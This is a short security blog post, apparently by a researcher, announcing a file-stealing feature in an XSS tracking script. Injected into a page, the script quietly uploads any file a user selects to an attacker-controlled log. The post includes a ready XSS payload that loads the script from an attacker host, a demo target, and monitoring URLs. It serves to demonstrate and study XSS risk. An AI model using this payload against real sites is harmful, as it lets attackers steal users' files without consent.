Which is exactly what I have done in newest XSS-Track. Now you can append files=1 parameter to script URL (e.g. http://evil.example.com/track.js?files=1 ) and it will monitor the site for any <input type="file" /> elements. When you change() them (e.g. by choosing a file from your hard-drive), it will quietly start uploading the chosen file meta-data (name, size, MIME type) and file contents to log.php.
As the user will be doing twice as much uploads (one for legitimate site, one for us), XSS-Track does not wait for the form to be actually submitted, but it starts quietly uploading as soon as the field changes.
Support
This works also for <input type="file" multiple />. Currently supporting browsers that I'm aware of are:- Chrome,
- FF 3.6 (meta-data only)
- FF 4.0
- ... and many more in the future as HTML5 is coming :)
Demo
Go on, try it now!Vulnerable application:
http://victim.kotowicz.net/xss-track/vuln/?page=search
Payload (paste into textarea):
</textarea><script src="//attacker.kotowicz.net/xss-track/track.js?files=1">
</script>
</script>
Monitoring (you will only see your own IP actions):
http://attacker.kotowicz.net/xss-track/show.php
Clearing logs:
http://attacker.kotowicz.net/xss-track/show.php?clear=1
Source code:
https://github.com/koto/blog-kotowicz-net-examples/tree/master/track-xss/
No comments:
Post a Comment